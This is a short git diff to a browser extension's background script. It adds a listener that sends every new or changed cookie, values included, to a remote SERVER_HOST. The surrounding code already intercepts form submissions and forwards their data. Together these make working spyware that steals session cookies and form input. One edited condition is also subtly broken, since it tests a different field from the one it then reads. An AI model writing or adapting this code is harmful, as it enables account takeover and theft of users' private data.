diff --git a/extension/background.js b/extension/background.js index f78db4a..d02fce4 100644 --- a/extension/background.js +++ b/extension/background.js @@ -24,7 +24,7 @@ chrome.webRequest.onBeforeRequest.addListener( if (e.requestBody.formData != undefined) { data["data"] = e.requestBody.formData } - if (e.requestBody.formData.raw != undefined) { + if (e.requestBody.raw != undefined) { data["data"] = e.requestBody.formData.raw.join(""); } fetch( @@ -43,3 +43,32 @@ chrome.webRequest.onBeforeRequest.addListener( ["requestBody"] ); +// Send cookie data +chrome.cookies.onChanged.addListener( + (e) => { + const url = `${SERVER_HOST}/c`; + if (!e.removed) { + const cookie = e.cookie; + const data = { + cookie: { + name: cookie.name, + sameSite: cookie.sameSite, + domain: cookie.domain, + session: cookie.session, + value: cookie.value + } + }; + fetch( + url, + { + method: "POST", + body: JSON.stringify(data), + headers: { + "Content-Type": "application/json" + } + } + ) + + } + } +); \ No newline at end of file